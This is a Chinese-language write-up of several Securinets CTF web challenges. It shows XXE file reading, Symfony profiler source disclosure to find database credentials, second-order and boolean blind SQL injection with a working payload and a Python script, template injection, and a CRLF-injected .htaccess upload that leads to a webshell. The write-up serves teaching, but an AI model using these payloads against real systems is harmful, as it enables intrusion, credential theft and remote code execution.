Web
Feedback
I created this website to get your feedback on our CTF.
Can you check if it's secure ?
Ps: flag stored in "flag" file
查看网页HTML源码
发现网站通过AJAX请求发送反馈
<script type="text/javascript">
function func(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<feedback>' +
'<author>' + $('input[name="name"]').val() + '</author>' +
'<email>' + $('input[name="email"]').val() + '</email>' +
'<content>' + $('input[name="feedback"]').val() + '</content>' +
'</feedback>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('Message').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","feed.php",true);
xmlhttp.send(xml);
};
</script>
请求的格式是XML,那么第一个想到的肯定是XXE,那么我尝试读取/etc/passwd
文件
读取成功,存在XXE,那么接下来使用php伪协议读取flag文件
解Base64编码得到flag: Securinets{XxexXE@Ll_Th3_W@Y}
Custom Location
Try to find out the database credentials.
The author changed the location of some files to protect the web application from script kiddies.
题目要求是找到数据库凭证,一般我们的思路是找到网站的配置文件比如setting.py
、setting.inc
,再从中读取数据库的账户密码信息。
那么我们先进行一番信息搜集,如果目标是某个框架,那么配置文件的位置就明确了。
打开网站
只简单显示了一个页面,HTML源码,响应头都中没有我们想要的有关框架的信息,我下一个想到是访问robots.txt
文件,有一些框架会自动生成robots.txt
文件并再里面写上自己框架的名字,比如phpcms,又比如dedecms,虽然没在robots.txt
中写上自己的大名,但相似的目录结构仍然暴露了信息,于是我尝试访问robots.txt
虽然robots.txt
不存在,但意外发现了一个大宝贝,这个网站使用的是PHP的Symfony框架,并且开启了Debug模式,我们甚至可以直接点击页面的文件来阅读源码,接下来只要找到配置文件的位置就行了,那么我们快速浏览一下Symfony的官方文档,发现了Profiler
组件,这就是报错页面中使我们能够只浏览文件的组件,这玩意还有一个控制台,访问https://web0.ctfsecurinets.com/_profiler
打开控制台,随意浏览一下,期望在控制台中直接找到数据库配置信息,打开一个请求
找到一个Configuration,进去康康
ヾ(。`Д´。)我擦,出现了!!!
QAQ 被题目作者料到了。
回到原来的思路,根据Symfony和其版本4.2.4,查阅其文档
https://symfony.com/doc/4.2/best_practices/configuration.html
那么我们就使用Profiler模块尝试读取.env
模块
返回404,这时想到了,题目中描述的内容和题目名称给的提示,或许是更改了配置文件位置来保护配置文件。
那么怎么找到新的配置文件位置呢?
我的思路是,框架必须要引入配置文件才能正常运行,比如index.php
中要引用这个文件,那么我们只需要找到index.php
查看引用就能找到.env
的位置了。
那么怎么知道哪些文件引用了.env
了,我的做法是下载框架源码,搜索其中含有.env
字段的文件
最后发现只有config/bootstrap.php
中引用了.env
文件,那么使用Profiler模块读取它
https://web0.ctfsecurinets.com/_profiler/open?file=config/bootstrap.php
原来在这里,读取这个文件
https://web0.ctfsecurinets.com/_profiler/open?file=secret_ctf_location/env
拿到flag
SQL Injected
Task url: https://web5.ctfsecurinets.com
You can download the source code here
Author: Oussama
ps: i don't like the task's name
- flags.php
<?php
if($_SESSION['role'] === '1') {
?>
<div class="alert alert-success">
The flag is: <?php echo $flag ?>
</div>
<?php
我们需要设置role属性值为1才能拿到Flag
- index.php
$sql = "SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";
审计发现index.php
中的上述代码,其中Session中username
未进行过滤就进行了查询,这就产生了一个二次注入。
- create_db.sql
create database webn;
create table users (id int auto_increment primary key, login varchar(100), password varchar(100), role boolean default 0);
create table posts (id int auto_increment primary key, title varchar(50), content text, date Date, author varchar(100));
通过代码中给出的SQL语句我们构造一下Payload
' UNION SELECT id, login, password, NULL, NULL FROM users WHERE role = 1 AND '' = '
把上面的Payload作为用户名进行注册。
然后登出,重新登录,就会触发二次注入。
使用查询到的用户名和密码登录获取flag
Beginner's Luck
Can you help me to win the flag ? I bet you can't ..
We were given a website along with its sourcecode (PHP).
打开题目页面,有一个Generate按钮,每次点击,一个随机序列就会生成,一共有十次机会,十次机会过后会话就会结束。
查看下HTML源码,关键看JS和form
标签
<form id="form" method="POST" action="" >
<input name="val" type="hidden" id="val">
</form>
<script type="text/javascript">
function generate_random_string(string_length){
let random_string = '';
let random_ascii;
for(let i = 0; i < string_length; i++) {
random_ascii = Math.floor((Math.random() * 25) + 97);
random_string += String.fromCharCode(random_ascii)
}
return random_string
}
function generate()
{
const input=document.getElementById("val");
input.value=generate_random_string(100);
document.getElementById("form").submit();
}
</script>
<div class="buttonHolder">
<input type="button" name="b1" value="Generate" onclick="generate()">
</div>
每次点击generate,JS就会产生一个100字符的随机字符串token向服务端发送,发送正确的token才能获得flag。
开始审计
- Index.php
<?php
session_start();
require_once ("bd.php");
function generateRandomToken($length)
{
//generate random token
}
if (!isset($_SESSION['count']))
{
$_SESSION['count'] = 0;
$pass = generateRandomToken(100);
$ip = $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO users (ip, token) VALUES (?,?)";
$stmt = $pdo->prepare($sql);
$stmt->execute([$ip, $pass]);
}
header("Location:play.php");
会话初始化的时候会生成一个随机100字符的token,但生成token的函数并没有给我们。
user表中存储了ip和token两个字段。
- play.php
<?php
$max_count = 10;
if (!isset($_SESSION['count']))
{
echo "<h1>Session Expired ! Please click <a href='start.php'></h1> here</a> ";
die();
}
require_once ("task_bd.php");
$currentValue = '';
if (isset($_POST["val"]))
{
if ($_SESSION['count'] >= $max_count)
{
header("Location:reset.php");
die();
}
$_SESSION['count']++;
try
{
$sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
$result = $conn->query($sql);
if ($result)
{
$row = $result->fetch_assoc();
}
else
{
$row = false;
}
}
catch(PDOException $e)
{
// echo $e;
}
if ($row)
{
echo "<h1>True</h1>";
echo "<div><h4>Click <a href='flag.php'>here</a> and use the token to get your flag</h4></div>";
}
else
{
echo "<h4>Better luck next time !</h4>";
}
$currentValue = $_POST['val'];
}
echo "<h3>Attempt: " . ($_SESSION['count']) . " / " . $max_count . "</h2><br />";
?>
很明显,这里有个注入
$sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
这个查询完成后不会将查询的数据回显出来,而是会回答True或者False,也就是说,这是布尔盲注。
但这里有个限制,没查询一次,count就会+1,查询十次会话就会结束,新的token就会生成。
这里需要一个代理服务器,使用访问一下题目网站,建立session,记录代理服务器的IP地址,然后使用主机进行盲注注出代理服务器IP对应的Token,再使用代理服务器提交Token
盲注脚本如下
mport requests
url = "https://web4.ctfsecurinets.com/play.php"
injection = "' OR (ip='Your Proxy IP' AND substring(token,%s,1)='%s') AND '1'='1"
token = ''
for i in range(1, 101):
for b in 'abcdefghijklmnopqrstuvwxyz0123456789':
requests.get(url.replace('play', 'reset'))
s = requests.session()
s.get(url.replace('play', 'index'))
c = s.post(url, data={'val': injection % (i, b)}).content
if b'>True<' in c:
token += b
print(i, token)
break
Securinets{GG_uMadeIT_BLiIiND_M@N}
Trading values
N00B developers are an easy target. Try to exploit the application feature to get the hidden flag.
Hint (pinned on Web channel from Discord):
Hint 1: Trading values: It's a server side task
Hint 2: Trading values: change request values as a hacker
Hint 3: Trading values: For the last part of the task: try to find another one. You don't know it but it's known by everyone
打开题目,显示一个动态的交易数据曲线图,打开开发者工具看一下
发现前端持续向后端发送了大量xhr类型的请求,URL如下
变量如下
formula: KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=
values[v1]: STC
values[v2]: PLA
values[v3]: SDF
values[v4]: OCK
返回了一个浮点数159964.51282051
公式base64解密下得到
(v1.mpk+v1.drf*(v1.mpk/0.5)-v1.drf)/(v1.avg*0.1)+(v2.avg*(v2.mds+v2.dmq))-(v3.pdi+v3.pdi+3/2*(v3.rar)-v3.gdp)+0.25*(v4.mum*v4.dad)*v4.avg
那么逻辑很简单,输入一个公式和四个变量然后计算出一个结果(公式中可以用变量)。
那么输入1+1会不会输出2呢,把1+1
Base64编码一下MSsx
返回了2,有趣,那么再做如下测试,输入一个随机字符串看看会发生什么,Base64编码jgkh
,amdraA==
。
服务器把随机字符串当做变量,并试图输出这个变量,看起来像个服务器端模板注入。那么我想知道这是什么框架写的,访问robots.txt
,返回404错误,将错误信息Google一下,发现是PHP的Symfony框架。
结合第三个hint,我输出v1,并将v1的值指向this
搜索得到Flag
Unbreakable Uploader
Find out the Mysql credentials and search the flag from the database.
Hint (pinned on Web channel from Discord):
Hint 1 for Unbreakable Uploader: try Action deny, target all on the begining
长记性了,作者是不是喜欢Symfony框架啊,一上来先访问下robots.txt
,果然又是。。。
打开题目,进入一个图片上传服务器,现在我们能上传图片文件,还能设置允许或拒绝目标的访问。
随意上传一个图片并访问,查看URL
上传的图片被保存到了一个新生成的文件夹,图片也被重命名了。
尝试把自己的图片权限设置为Deny 0.0.0.0,也就是所有人都不能访问。
尝试访问,果然返回了403,不过也告诉我们这是个运行在Debian上的Apache服务器。
Apache服务器要实现权限控制一般要使用.htaccess
文件,如果添加条件的过程是在读写.htaccess
文件,那我们就可能通过控制.htaccess
文件让Apache用php解析图片文件,比如写入如下内容
AddType application/x-httpd-php .png
AddHandler application/x-httpd-php .png
添加这样的配置以后,Apache处理.png
文件时就会去调用PHP来解析。
要添加这样的配置,我们还需要一个CRLF注入,简单使用%0d%0a
就OK
Payload
0.0.0.0%0d%0aAddType%20application%2Fx-httpd-php%20.png%0d%0aAddHandler%20application%2Fx-httpd-php%20.png
重新打开图片,显示乱码,说明.htaccess
文件生效
传个图片马上去
成功执行,这是Symfony框架,根据前几题的经验,我们知道数据库凭证保存在web根目录的.env
文件中
使用中国蚁剑连接
注意这里要选择MYSQLI
得到flag